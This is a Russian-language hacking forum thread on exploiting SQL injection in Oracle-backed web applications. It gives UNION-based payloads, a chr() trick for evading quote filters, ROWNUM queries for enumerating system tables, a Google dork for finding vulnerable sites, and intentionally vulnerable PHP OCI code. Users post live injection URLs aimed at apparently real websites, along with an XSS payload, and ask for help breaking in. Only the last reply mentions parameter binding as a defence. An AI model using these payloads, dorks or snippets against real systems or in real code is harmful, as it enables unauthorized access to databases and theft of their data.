Итоги Вообщем хочу подвести некоторые итоги, на мой взгляд по основному вопросу: Есть ли возможность применять разделитель запросов (в данном случае символ ";") в Oracle? Делаю это не с целью продолжения спора, а с целью разъяснения остальным читателям как обстоит дело на самом деле. Попытаюсь дать развернутый ответ, чтобы не осталось вопросов. Немного теории. Еще раз повторюсь - необходимо различать SQL и PL/SQL в Oracle. Для справки: язык PL/SQL - это процедурный язык представляющий собой расширение стандарта ANSI языка SQL, разработанного фирмой Oracle. Для начала рассмотрим рис2. Программы, написанные на языке PL/SQL, выполняются системой-исполнителем языка, которая представляет собой часть сервера БД Oracle. Независимо от средства, с помощью которого формируется исполняемый код, он посылается на сервер Oracle. Система исполнитель языка PL/SQL сканирует, разбирает и компилирует код. После этого код, готов к выполнению. Выполняется код посредством передачи его SQL Statement Executor (системе исполнителю SQL-кода). Соответственно простые SQL запросы перенаправляются непосредственно исполнителю SQL-кода. Смотрим рис3. Основное преимущество при работе с PL/SQL как языком БД является то, что на исполнение серверу посылается группа SQL предложений, а не единичные запросы сформированные, скажем какой-либо программой не использующей PL/SQL как средство работы с БД. Действительно, получив PL/SQL блок, сервер приступает к его обработке, а клиенту остается только ожидать результата операции. Тогда как единичные запросы к БД, порождают большой трафик и тормозят работу сети в целом. Основной вопрос. В чем же синтаксическое отличие SQL от PL/SQL или как Oracle различает какому исполнителю перенаправить запрос на обработку? Все достаточно просто если запрос DML(Data manipulation language), т.е. select, update, insert или delete, обрамлен конструкцией begin...end, то это PL/SQL, если нет то SQL. Естественно синтаксис PL/SQL позволяет включать несколько запросов в одну процедуру, разделяя их символом-разделителем ";". Соответственно синтаксис SQL не позволяет разделять запросы ни какими символами, запросы выполняются на сервере строго по одному. Немного практики. Нас интересует вопрос проведения SQL инъекции в Веб-приложениях. Для того что бы было более понятно необходимо подойти не со стороны атакующего, а со стороны атакуемого, т.е. посмотреть пример реализации ключевых моментов взаимодействия Веб-приложения с СУБД Oracle. Рассмотрим пример на php, как наиболее знакомый и простой для понимания, хотя по сути аналогично происходит взаимодействие и в других языках C, Java, ASP и т.д. Воспользуемся интерфейсом OCI для взаимодействия с БД и рассмотрим пример реализации запроса SQL и PL/SQL на PHP: 1. SQL запрос PHP: $c=OCILogon("scott", "tiger", "orcl"); $s = OCIParse($c, "select name from tab1 where id = ".$_GET['id']); OCIExecute($s, OCI_DEFAULT); 2. PL/SQL запрос PHP: $c=OCILogon("scott", "tiger", "orcl"); $s = OCIParse($c, "begin select name from tab1 where id = ".$_GET['id']."; end;"); OCIExecute($s, OCI_DEFAULT); Рассмотрев эти два примера, можно сказать что если параметр id не фильтруется, возможна инъекция в обоих примерах. Но если в первом примере попробывать вставить второй запрос используя разделитель ";", то вы в любом случае получите ошибку синтаксиса invalid character с указанием на символ ";". А если во втором примере вставить, то все будет ок Все примеры приведенные выше аналогично реализуются и в других языках, только там функции называются по другому Выводы. Таким образом нельзя однозначно утверждать, что символ разделитель запросов можно или нельзя использовать в инъекциях Oracle. Все зависит от того какие запросы используются в уязвимом приложении. Если простые SQL-запросы то невозможно, если PL/SQL то возможно. ЗЫ Имхо реализация из первого примера наиболее распространена в сети, по крайней мере повторюсь я натыкался только на такие, но не сомневаюсь, что есть и второго типа. Что касается статьи, то писал я ее для инъекций в простых SQL-запросах Oracle, это указано в начале, по-этому касательно статьи - ошибки нет. ЗЗЫ to podkashey Я имел ввиду второй пример приведенный выше, но и через параметры в процедуру имхо тоже можно инъекцию провести, если нет фильтрации, хотя такое наверно не реально встретить в сети (имею ввиду использование хранимых процедур для Веб). Жду примера, попьем пивка
Oracle не исключает SQL, так же как не исключает и PL/SQL. Смысл спора мне не ясен. Вообще различных реализаций море.
Имхо, если прав на системные объекты нет, то не видать хешей как своих ушей. И в большинстве случаев, инфа предоставлена в виде селектов из сторед вьювов, и только на них есть у юзера права, так что... оракл это вам совсем не мускул
После того как подобрал необходимое количество столбцов с помощью нуллов я сразу получаю приведенную выше ошибку несоответствия типов. Разве null имеет какой-либо тип?
Во-первых если удалось подобрать количество столбцов с пом. null, значит ошибки не было, в момент когда совпало количество столбцов в основном и объединенном запросе. Если изменился тип ошибки, т.е. он все-таки ругается на null, что в принципе очень странно(null - универсальное значение для любого типа данных Oracle), то можно попробывать сразу подставлять какие либо значения, что бы определить тип выводимых данных, см. статью. Во-вторых null - это значение, которое может присутствовать в любом типе данных Oracle, он не является значением определенного типа данных. см. стандарт ANSI SQL (NULL). Согласно ANSI все типы данных должны поддерживать неопределенные или NULL значения. Oracle в полной мере поддерживает это правило для всех типов, за исключением символьных. Для любых символьных данных пустая строка интерпретируется как NULL. ЗЫ Мне кажется, что у тебя ошибка где то в другом месте =\
Дополнение! Дополнение по некоторым узким моментам: [Обход фильтрации] Обход фильтрации кавычек и других спецсимволов осуществляется с помощью функции chr(). Функция chr() возвращает ASCII-код символа. Но ее использование связано с некоторой сложностью, поскольку функция принимает и возвращает только один символ в отличии от подобной функции char() в MySQL. Для получения кода целой строки придется вызывать отдельную функцию для каждого символа и в последствии объединять их с помощью операции конкатенации ||. Таким образом, закодированное слово user будет иметь вид chr(117)||chr(115)||chr(101)||chr(114). [Аналог LIMIT] Возможна нормальная замена предиката LIMIT используемого в MySQL для Oracle с помощью псевдостолбца ROWNUM с использованием сложного запроса (скажем спасиба groundhog`у). Используем следующую конструкцию: SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND Y Перебирая X и Y вытаскиваем имена всех таблиц (все записи начиная с Х по Y), доступных пользователю, аналогично со столбцами. Еще несколько интересных конструкций с ROWNUM: -- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка) SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X -- Получение количества записей в заданной таблице через NUMROW SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X -- Получение количества записей в заднной таблице через имя таблицы SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...'; [Google хек] Как щас принято использовать поисковики для поиска уязвимостей, мы тоже не будем отставать (= Для обнаружения уязвимых сайтов можно воспользоваться поисковиком, например в гугле искать сайты со строками “ORA-00921: unexpected end of SQL command”
Скрипт! В дополнение к обходу кавычек с использованием функции chr() для автоматизации и ускорения процесса проведения инъекции написал скриптец, конвертирующий необходимую строку к последовательности chr()||chr()||.... и т.д. Так же добавил в него функции преобразования к соответствующим последовательностям в MySQL, MSSQL. Получился вроде как универсальный скриптец Universal char SQL encoder
Code: http://lada-auto.ru/cgi-bin/models.pl?model_id=6295171+union+select+1,null,to_char(213),null+from+sys.dual--%20&branch=tth Помогите с ORACLE инъекцией. Не могу подобрать тип данных для третьего столбца. В чем ошибка?
Отлично все для новичка в Оракле! Вот еще может кому понадобится полезная ссылка (долго искал) Структура системных таблиц в Оракл http://khpi-iip.mipk.kharkiv.edu/library/dbms/lab2/ref/app8.html
Напоролся на такую шнягу,подскажите как дальше Warning: oci_execute() [function.oci-execute]: ORA-01460: unimplemented or unreasonable conversion requested in /usr/local/apache2/htdocs/cms_adm/lib/site/Oracle.class.php on line 86 array ( 0 => '"> http://******.ru/trye.asp?sessionID="><IMG%20SRC="javascript:alert();', 1 => '', )
Интересный факт, не знаю на сколько будет полезно но: запрос www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5-- выдавал пустую страничкy, а запрос www.site.com/view.php?id=-1+UNION+SELECT+null, TABLE_Name, null, null+FROM+SYS.USER_TABLES+WHERE+ROWNUM+<=+5-- выводил нужную информацию на страничкy З.Ы. Спасибо за предоставленую инфу по ораклу...
eсть вот такая вещь, как с ней бороться??Как подобрать кол-во столбцов? BD Oracle получил с помощбю post запроса www.site.ru/vote/statistic.php?lang=kaz&vote=1&question_id=1122031291')--+&answer_id=1122031391&vote_bt.x=21&vote_bt.y=11 Warning: ociexecute() [function.ociexecute]: ORA-01785: ORDER BY item must be the number of a SELECT-list expression in /export/htdocs/oracle.php on line 48 SELECT * FROM voting_questions WHERE id = '1122031291\' order by 99999--' Warning: ocifetchinto() [function.ocifetchinto]: ORA-24374: define not done before fetch or execute and fetch in /export/htdocs/oracle.php on line 56 буду ОЧЕНЬ признателен за помощь!
У тебя комментирование "--" запроса не прошло. Скул говорит, что "group by 99999--" - должно быть целым числом, а не с "--". Попробуй "/*" и нулл-байт %00, мало ли.
Вообще, я удивлен, наличием php скриптов с sql инъекцией под оракл... нужно сильно постараться написать такой код, когда есть функция OCIBindByName, использование которой сводит возможность инъекции на нет.